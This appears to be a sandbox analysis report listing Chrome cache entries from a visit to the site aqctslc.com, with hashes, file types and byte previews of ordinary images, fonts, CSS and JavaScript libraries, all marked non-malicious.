Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality", baseline, precision 8, 1080x826, components 3
Category:	downloaded
Size (bytes):	117451
Entropy (8bit):	7.972120233821135
Encrypted:	false
SSDEEP:	3072:GIlpZWFr8h6ewVYAssealGNBaYvOthePMARe:brA449uAHealGiYvOze0ARe
MD5:	3709AA2A5D4030E3443426AB3D602B27
SHA1:	015C2D8FD6A94AD5965EC6A4872C5F998A9AC803
SHA-256:	9A4EE5C35FFCCA8128FB308CA93EA665233FA2EB8F2F3C62C0A51E1A98F61F41
SHA-512:	EA2F547DD747B0D8421A5A8F5ABC2DBE3D599C899E0C798DD929597CD488065D6BF5A18661B61055D89EDE471325745A83552A7F1A11CE3F6E90A57091A76835
Malicious:	false
Reputation:	low
URL:	https://imagesspace.hks3.layerstackobjects.com/images/img_678003710aa442.93325130.jpeg
Preview:	......JFIF.....H.H.....>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......:.8.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....6...4.O.........f..i......JZ`... ....(.:.@G.M...!.!.x.....!...JiZ..5..C....1@..].&....P.k.jU...R..@....j`.../.;.5/.M.4.`..F)@.H.b.)M.7..7J~j6<P....5+........i.B.u!ja<...4...LS..R.}&(.&...jv.T,).....4...zS.1L"....0"ja........R..0.qO".LB.u..b........:..q.T.j..E4&nY....@.b....+X..b.1Q+T..8..

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	5558
Entropy (8bit):	5.190809250489173
Encrypted:	false
SSDEEP:	96:7qexpR3tRexX6ex6Dutjhxex6DutTex6Dut71Xpp2wECLyI5N7HJUBLSPSmuSJas:7ZXI1pcTcFc21XpYiDb3
MD5:	10001BF6EB355F7A371F3C98DBA46271
SHA1:	4E2529B665AD9F87D0BBEF09FD5D9C3191BEEC9A
SHA-256:	7672FED0CB6B72AAE4DE5C8190FFD917F85EEA26FEFA3579F378ACFA57448901
SHA-512:	A58FAAA21665D8DF83BE1211DBDED4B4610B04399ED4D95AB683488993CF22784CD703BEEAEC2C8584084CAEEA652FB4751A95C27A83E88263F25678F429F29A
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/main.js
Preview:	(function($){..."use strict";.....// Mean Menu...$('.mean-menu').meanmenu({....meanScreenWidth: "991"...});.....// Header Sticky...$(window).on('scroll',function() {....if ($(this).scrollTop() > 120){ .....$('.navbar-area').addClass("is-sticky");....}....else{.....$('.navbar-area').removeClass("is-sticky");....}...});.....// Partner Slides...$('.partner-slides').owlCarousel({....nav: false,....loop: true,....margin: 30,....dots: false,....autoplay: true,....autoplayHoverPause: true,....navText: [....."<i class='ri-arrow-left-s-line'></i>",....."<i class='ri-arrow-right-s-line'></i>"....],....responsive: {.....0: {......items: 2.....},.....576: {......items: 3.....},.....768: {......items: 4.....},.....992: {......items: 5.....}....}...});.....// Feedback Slides...$('.feedback-slides').owlCarousel({....items: 1,....nav: false,....loop: true,....margin: 30,....dots: true,....autoplay: false,....autoplayHoverPause: true,....navText: [....."<i class='ri-arrow-left-s-line'></i>",....."<i c

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65288), with CRLF line terminators
Category:	downloaded
Size (bytes):	80780
Entropy (8bit):	5.178088427818689
Encrypted:	false
SSDEEP:	1536:UcJTbJH2I5ZKam2n/yFcLaeYGmSr/ahp613GExOQb4Io:ERpmGMo
MD5:	AFAC8D93A4A4E41D4B7C74718DDA6F7A
SHA1:	5C49B0FDB6CF97C538892F3D6CDC09DEE610F945
SHA-256:	90AF55D93D91BE8897395E68EEB0772800B3099DCF18DA537D7687F16B324FA7
SHA-512:	E7088E6678CF0F5455FAF2472D0567F7B678D6DF302CEC34F420CAD8FC9067EC986EC7B9663A25318934C82F76C759B654CE33A1F816FE671D653F83ED594716
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/bootstrap.bundle.min.js
Preview:	/!.. Bootstrap v5.0.0-beta1 (https://getbootstrap.com/).. * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors).. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE).. */.. !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e()}(this,(function(){"use strict";function t(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function e(e,n,i){return n&&t(e.prototype,n),i&&t(e,i),e}function n(){return(n=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}function i(t,e){t.prototype=Object.create(e.prototype),t.prototype.constructor=t,t.__pr

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 88 x 72, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5896
Entropy (8bit):	7.882717822242202
Encrypted:	false
SSDEEP:	96:MYR209tzz94luNtvPBpdSXYcT+gxeW0IBxKHV2c104kvJsXcemqXdLWvbzUa/y:93P+sjdaUIBx8QssemMdLWv/Uaa
MD5:	79692C5A9C9FE66DD09066BDD89D1E31
SHA1:	5BE3BFDCCCCE9FE61D156F81B77A0DE3AA0F9616
SHA-256:	9860BB36D17C92D98A7C33863EAE7BDE87A6BD7A268F00B979C3F6501DF66ADA
SHA-512:	D484DF85FC0EAA6ECA1DF51DA6C3FA79AE912594600790E6CF6343902B497EE0A472DAB03990C4F4A8C7917C4176A2AFB6E9E13B91E8267766C4917A060B2C03
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...X...H......D.9....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:64168CFA5A1F11EBB4D6A84CD45553BE" xmpMM:DocumentID="xmp.did:64168CFB5A1F11EBB4D6A84CD45553BE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:64168CF85A1F11EBB4D6A84CD45553BE" stRef:documentID="xmp.did:64168CF95A1F11EBB4D6A84CD45553BE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..zJ...xIDATx.b`@......8.....D033s......^^^.Xu...K.2.(.....".............Al.E@wr@%.]\\..L5b .0"s<<<.`....rc.4...5/

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	7.973721353453092
Encrypted:	false
SSDEEP:	384:Poxa6dRcFKHFTxNY+xsIr2FAp6y6Jw5UQUEkuXrx97:1iK+xsIr2o6DwqQUz4rx97
MD5:	16775F95360704B0C3DAA958E7583000
SHA1:	0210FCABEC79C71DCA1584103B5BCEB2CA97CAF5
SHA-256:	A0DE57DE0D34348A8839E74E9964C57D677A9EEC3FC43B6F31801AE10613C397
SHA-512:	385B6A6F3227B695EFCCCA460EA320E01BA593BC53352A63ACD678F7CDB9E9009B0EF883BB7AD50A40D911EEEACFB830821388544BA7C6244C5FED5FD928560E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:6DFF11BC596511EB877AEFE65FCC703A" xmpMM:DocumentID="xmp.did:6DFF11BD596511EB877AEFE65FCC703A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6DFF11BA596511EB877AEFE65FCC703A" stRef:documentID="xmp.did:6DFF11BB596511EB877AEFE65FCC703A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>M"....7bIDATx.b...?......eee.X^^.a.g.y...........EEE.....jqj:../.+++.;w..[...(++c.......WwI....3...x...0...2...a:

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	13844
Entropy (8bit):	7.972185206660658
Encrypted:	false
SSDEEP:	384:2hzN9/hD13A0O4YsGVMmCO+9vwZKPXEdHjdJqRYE0v9:2xr7WRVMmGvwZK8hZJqRYf
MD5:	6EDCB781C3DAF003A230E0CB6BE72AB5
SHA1:	B6CE62614554D42A436C8A00041F560F25B4A522
SHA-256:	BC5D3E5B53B4140608E9425589A44CB4AED10C23DD5D7A1E7AD44BEAFB9F3458
SHA-512:	213131BA133514B5AC3BB10DD7ED9EF3246B5E44B5A9C06A70950DBB0EA5111792B95DAEBBA8270B460D39D207A4A72BB7B9DB270EA9E2F18FB91C8183046E9A
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/services-icon2.png
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:43B24BB4596511EB88B1E7E3213EFCE3" xmpMM:DocumentID="xmp.did:43B24BB5596511EB88B1E7E3213EFCE3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:43B24BB2596511EB88B1E7E3213EFCE3" stRef:documentID="xmp.did:43B24BB3596511EB88B1E7E3213EFCE3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>HS...2.IDATx..1K.P...%!..).B..B.J@.N.~.'Q.....`.G?..&. 8..A...Q.?@.C.R...V......%&X:...{..~...c....@..,....f..*.

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 125268, version 1.0
Category:	downloaded
Size (bytes):	125268
Entropy (8bit):	7.997773637072045
Encrypted:	true
SSDEEP:	3072:5vCveG1NooSPyIFS5WDTVKAQI+UHmfGsrKwfGXoiEw:tq5eTFa47QIVHmusrKWGoix
MD5:	9915FEF980FA539085DA55B84DFDE760
SHA1:	4D375ABF43ED18AA54264C1B59714B0A59C593A4
SHA-256:	E61F0D10C8CAC8CD0ECB36790D6CCE883380C0B185FF3C9BF849ED336BA8285C
SHA-512:	1E4C9A5E0F5150FE33870544C7D70A73724096E60EE10E0ADE4DEF46F31647664AFE361292C7FFB39A2EDDA98CAB06BAB206F64FEB7F610AB137D17FC789A3B1
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/fonts/remixicon%EF%B9%96t=1590207869815.woff2
Preview:	wOF2.......T......&p.............................T.V.......d..F.6.$........ .....2[.@.."]l.=.`..^...DI....-_.....x.......`.#...=..7c....t...............".....'.!!!."..\|. ..wF.&k.Pj.D.Q..0.@%K.z.\....I@f.QA..~av{.H.?.._q.mH.TvX............Ukm.RQ..O....{..z.$.3....#...O.<y.X.<`-V..{Ek..V.P.wA[k.54...Mk....n{i..........2.J..hw....\;(...m...+A...{.%Kn....%..F..A....v.(.}..(w....>'.Mr.":...+.n....f...E%Z..]t.......i0...Z.#G%....4......An.._oO.k{.....".S.>'.&B......N).L....2.~..[..$Y.....M.c...Z.$..d..\VxI...F..."#d.1../O..&...4.V.GZD%*y..q. <..I9L.H.d.""d.......v}..#<.0C]"xy.{..l..3...v.^.r<..\|f.7...fK.XC....._.f.(._....c..I.6...W~........P.'?......,$...<#.r..`...z..y..c.D.,.w-.<.s.............!t..#..amj`...B...U...6..% !.yp...^...w..pdH.T.X.....:0.........n.........3Q..{&..B..7..z.e.LF%e.9.U. ..&.."v.....V..s.s`....\|..R.3...{Gb.t..ae..A&d.AB.e..I ..k...t3..jq....U.t.nhk........_+]G...~.n..Z..;.F.A..K.[.e[...hg....s.f........D.......v{G....~..t.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	7.807010496261533
Encrypted:	false
SSDEEP:	24:voDAWOrK3xoc1ZkuaNJgraLimplmbdUnCAwTC1+b2PZGjLZ2OXP9:wOsocPdmplKdUnJGCZI3Z2Of9
MD5:	00AD3A0E9D53EFA29AD42F94B76449E6
SHA1:	F57B7AC049C7D2475303952C0B05504773C841A3
SHA-256:	A62A0CAF5261B8C6438C781F06CF285AC2B584DBFF1EA614CB44B0D195FFD118
SHA-512:	BA1FCB83C34F5329564D0191AE64D93DAAC44A45A0DF0E4C0B86FFC78A7862513941E6875A34515BECED1CE7F847A2C5F0BF2BD70C2725E4D987EB9BBF5617CF
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/skrill.png
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d....}IDATXG.{LSw..}..-..2...<.Q!.....a,2..c..p.13.eh...f.?.....6... .M.... ...Y...X...Z.}....b2.h....&77........;..2\|>...v/.z....._...d.8.....n...`l..._...z.....c#..q.1..W.d..5....!.}...yF\|>......wlr....Gl<.7.v'8...l.5..D...?Z.o/#6.E.;..9g.....\|....H.'.:8.!.y.p...d.M+.u...G.>...............<?.V=.:G..sd.T.. .....M.....9.F.... ,..Mtl?...S..&EaU.M..[...'.8.s;fU.....#.....c......n.>...Uo.-H.Gu.....&..f.@49.&.9.mWc......-.....[.~.4...#.2&A..C..s....-_.G..S...=H.K.q.]..P.Y..B.4.\a0......r.u.9.-A.._...b.......{.`..1.$.6...%.M.8Ur.@..{...D...... ......`...WS...`.....S...OK.d..n'<N7...L)...q5.. y.T.LO.{ n....:..8....m[..*9.a....\...t......-.........U.?....{.r..m....L=...`.N..Fy..6..Tz.B...`...y{..^~..u;.....I(.Z.....~.o@........8.:IJc.dve!t....&Fa.`..jGd.....C.i....9...... ..........^...&Daa.......fO.{.t8.<..b.}....q..X..9.....s..-D.z..u.8.1...y..Zv.T...<.O..I..l.n....9).L.A[..j..g..

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 48x48, 32 bits/pixel
Category:	downloaded
Size (bytes):	9662
Entropy (8bit):	6.186054974385727
Encrypted:	false
SSDEEP:	192:xfMaCFgjq/LtVt7Cb3QCvJRLXHMq8tzM+bxlMW3cfyzxedr:xRCFgu/LtVt7CbgCvJRbZKbvMW3cm0r
MD5:	69AAF5244AF86105A28F5659C0705904
SHA1:	64248B0AC8F5736D32D2C8960146D8CDF391A77E
SHA-256:	746B4D084290C26C21F20F5E13762E5E7C95E48D41AA744FE957A7227D9334F2
SHA-512:	B75B98283C6FD7AB18499810B08278C1B6576C0AF7966D2D41DC0437F524BD8E3261A4E902ADABFE8EFE7688B6812AFD77F26EEAEBCFE169855FDBE1411A8E18
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/favicon.ico
Preview:	......00.... ..%......(...0...`..... ......$..................................................................2p...n...U..k..)i..)h..)f..)e..(d.2(c.I(c.['b.b&a.a&`.X%_.D$^.+#^..#^.."\.."\..#\.. Z..+c.."Y..........................................................................................6u...o..?y..,m..+l..j..i.5)h.r)g.)f..(e..(d..(c..(b..'a..&`..%_..$^..#^.."].."].b"\.(#[.."Z..#Z.."Y..#Z..$\..........................................................................1r../q..-n...o..-n..,m..+l.bk.i..)i..)h..)g..)f..(d..(d..(c..'b..'a..&`..%_..$^..#].."].."\.."[.."Z.L#Z.."Y..#Y..#Y..$[..................................................................c....r../s...q...o..-n.d,n..+m..l..j..)i.)h.P)g.')g..)f..)f..'c..'b..c..'a..%_..$_.2#^.c#].."].."\.."[.."Z.."Y.I#Y..#Y...V..&Z..'c......................................................0s...s...r..0r../q.8.p..o..-n..,m.+m.V*k..%e..)h..)g..)f..)g..(e.l(e..(d.?)d..'b..%_..$^..#^..%_.."].'"\.u"[.."Z.."Z..#Y..#X. #X..$X..$X..=Y....

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	15745
Entropy (8bit):	7.975672912531662
Encrypted:	false
SSDEEP:	384:8SML2eRJCDd62+bKkIZP57IxSQkdom7GUoC0fKyOomiCIvO:8SMQ5P+bKVZB7pzoC0QiFO
MD5:	EC751A7196ED7F6CF993F38ADA014D49
SHA1:	2A79AA8C79D83DD33590F2E42665181B8172F32C
SHA-256:	552130A1009FCAFBAFEFA6FBC2029CF3B04B12018E0C3241F0E0CA6D9778D5D2
SHA-512:	65B0D18FD841E76E82E09CD623E93413779933F99D05E8984CE3FAB7F182020D152B37F4BE50ECD4958B14EBB484735972B9474C1FABCFA9A1CD70A6B78B17CD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:80322DF2596511EBA1B2D535DA9B0A0C" xmpMM:DocumentID="xmp.did:80322DF3596511EBA1B2D535DA9B0A0C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:80322DF0596511EBA1B2D535DA9B0A0C" stRef:documentID="xmp.did:80322DF1596511EBA1B2D535DA9B0A0C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......9.IDATx.Q.+.Q.....y.C..$^.........HJY...d.lXX.J.VV.6.bAQ..W.^..G.y3w./M..].s......KRJ.w..&.u......d...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.781759133232852
Encrypted:	false
SSDEEP:	12:6v/7xidHSD23ZeChUQBN6w6PfLaLA6/+fjhp6idTs3syNdmN7ZtyAWYVsyfwx92L:bS6eyfA9a33dG7HyAWjyf2qaDfiHxLR
MD5:	BC01B71F4E73E7C4CBD2E5E1E0C8716C
SHA1:	6F212B75A69F3CAE9DDE95B6DDA5EA3C36F42AFF
SHA-256:	806C9FD754335F8FF409B7D693D4BFC8CBD4F5A033FE2DCE2C32E1E3D2980055
SHA-512:	1863C8C345607D8F33BE963AC4299B2A326A6A9504DEA126647F46657570866B9605D3E6CDF6827C4E5DC0AB4DA6EB883F1D7A39EA7C2D252C0330682E7F2AC2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d....9IDATXG..LUe..?.^.B.YnT...96iY,X1K. .\..)E...L..c....P.T,q)N...+.._..c0e..B. (\..^.{..{.v.....~I..lg;..=...<.9{%!...l..ey9 1.B.T....X(...M.$..Ts.aT.,..g..h..$.Q.........9..;.2...wd...#.<....=..X,...........R..........?Y..R.H...^Kcs.j;5G....w%.....G..3x.....x\...]5<...e...\|O.........G.....k......#..N.E..Q...?.j.?H..(B...../:C..j.....Tl......R.o....Bk[..k.X..z....~d...........Y~),"1&.....H.f.[.....H._...L....$zc.>.x.~..B.........p.......LHP....@....?.F..m.b..a].u...g...R..\|y.1Wb..yg./..._...z.f.kl._?..e.....z.....'.Z.^.......h.. f.k.z.z...HG..6...p/...>,&#.3....t....+...N....UJ"..4..E...@.,(`.A"..)..d...\|..9U5.\u.}.?g./.IX.I..d..r..../O..Hb.....6xx....i.S.;...5...}Jm..ZNJ.\|.A...%.7...v..C.....B.lF....#..M..d6[......i.%.2...t..DG=r...;=u.I...B z.#..!.J....en....Q.3..q........D......."..!....,..f...M..J......3f!.0."........^...t.,...P..*X.=..G....G....L...(...q..n...o..#.g.D....Y.....n.5.l.$.....vh

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	22545
Entropy (8bit):	5.385323636580683
Encrypted:	false
SSDEEP:	384:cm3P3K3wmCb1mdk6mYVfmb+8mOfxm5ommEprm3io3tmPXa9QLeBP:ZfKstmo
MD5:	2BE26718C154F18481DAD242374AD049
SHA1:	7CE8AED644170C8E0F2B15513BDACED59204712B
SHA-256:	28E16A29358D72CDB45B4A01F9DBBFC3C99510583836F1505CB9CF9E0FE9A6DD
SHA-512:	19337416FB29AF972770F808D464303C49054FB781C9DDC331D7DA9B5028F37E9B885CBA54238A4133FB5AE90C82A917EE9909BE157FAF952E7D2EED552BF6A6
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css2?family=Work+Sans:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap"
Preview:	/* vietnamese /.@font-face {. font-family: 'Work Sans';. font-style: italic;. font-weight: 100;. font-display: swap;. src: url(https://fonts.gstatic.com/s/worksans/v19/QGYqz_wNahGAdqQ43Rh_eZDkv_1w4A.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Work Sans';. font-style: italic;. font-weight: 100;. font-display: swap;. src: url(https://fonts.gstatic.com/s/worksans/v19/QGYqz_wNahGAdqQ43Rh_eZDlv_1w4A.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Work Sans';. font-style: italic;. font-weight: 100;. font-display: swap;. src: url(https://fonts.gstatic.com/s

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51133
Entropy (8bit):	7.979157889278695
Encrypted:	false
SSDEEP:	1536:JHeui2Am+pEquHlOPu1e7pCGXcweA5g5x7+Xz:cfi+iPOZbswV5y7+D
MD5:	4E27D5ABCE1CCA9B416D483033457A53
SHA1:	015EEBBFA6997010E4911CDC87D1ED48DDD45703
SHA-256:	FC701518C5A8A7B5A26F76DB097668AEC6FBF56EEA5F28086A6AB1FAE62D46E6
SHA-512:	3FCCC1B66B4BD5A851CB0032EE3ABEB5A29318C8219B3387378FDBCA91A935D9082DD3B46BBC6AC18730333C930C7F44C80D7660FF202F9396E40DF2B4AF413D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<... .IDATx...wxT............z..CoR...."....(....H..."M@.w..;$..NHBB......w.W..=5.}.<p..uVprf..kk.$.8.~.?....}..5.?w.\....._].......# ..........!..<....@.S...)B.KI..Nc..$I..Z.....W..~-..`x.w...-D..B..__W.....O.!I....@.L.(P.(..........2.<...b......N....$.:...$.......__5.@s&e.R.3.Y..p.8.a.B.$.d. Ib...........%.....`?...A.9..$[ ..IR...0~.P....N2.G.F...{....3..$..d. I........U.p1kF........v.[...$=.,.$..U...-1..;<..K.".8.l.6....Y3.$.$..I..'.C..N@1.#.r......+..H.....T...m1\|.o........k.....JR.$...0...:b...5...c(..chR$I..,..........!_..?..~..chR$I.$Y)'.+....a!..._........p.$I.d.....M....o&...21L.D#G.$I.,R.0..<...4.m~].>B.r.l..h%k..a..3.d.....>....j.....>..x..........h5....pvt......V.....N.?{..Av...n.C....99<....QF....$..q?-.......>0...$?0..O..l......1.+.$.#....../..0...Z..`?_B..(..DhP ..)..H...\|<<.i-w....n$$p..=.'$p......Y...NQ.x....@..s......dMJ.o..`.}.].

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality", baseline, precision 8, 1080x826, components 3
Category:	dropped
Size (bytes):	117451
Entropy (8bit):	7.972120233821135
Encrypted:	false
SSDEEP:	3072:GIlpZWFr8h6ewVYAssealGNBaYvOthePMARe:brA449uAHealGiYvOze0ARe
MD5:	3709AA2A5D4030E3443426AB3D602B27
SHA1:	015C2D8FD6A94AD5965EC6A4872C5F998A9AC803
SHA-256:	9A4EE5C35FFCCA8128FB308CA93EA665233FA2EB8F2F3C62C0A51E1A98F61F41
SHA-512:	EA2F547DD747B0D8421A5A8F5ABC2DBE3D599C899E0C798DD929597CD488065D6BF5A18661B61055D89EDE471325745A83552A7F1A11CE3F6E90A57091A76835
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......:.8.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....6...4.O.........f..i......JZ`... ....(.:.@G.M...!.!.x.....!...JiZ..5..C....1@..].&....P.k.jU...R..@....j`.../.;.5/.M.4.`..F)@.H.b.)M.7..7J~j6<P....5+........i.B.u!ja<...4...LS..R.}&(.&...jv.T,).....4...zS.1L"....0"ja........R..0.qO".LB.u..b........:..q.T.j..E4&nY....@.b....+X..b.1Q+T..8..

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HEXiCR:kyY
MD5:	559700FF408AC2A8BCCBB7819144AD1D
SHA1:	D2C03D28B63FE7475039CF999BB5415C3FECB9B1
SHA-256:	B7E1081858FDE9A3C194A75F38BC1EE6564BE6038B5FD57436B9839008B28AF7
SHA-512:	76344BA42193A72EBDCC051DAC808090BF6933D117B412A0CB532B152D9C5CF3753A614FBF0F1BA97B0FF242842954E68091F28EA6491ED07DE46F34203B1352
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAn-qBjsrKK65xIFDSbzfSs=?alt=proto
Preview:	CgkKBw0m830rGgA=

Chrome Cache Entry: 119

Download File

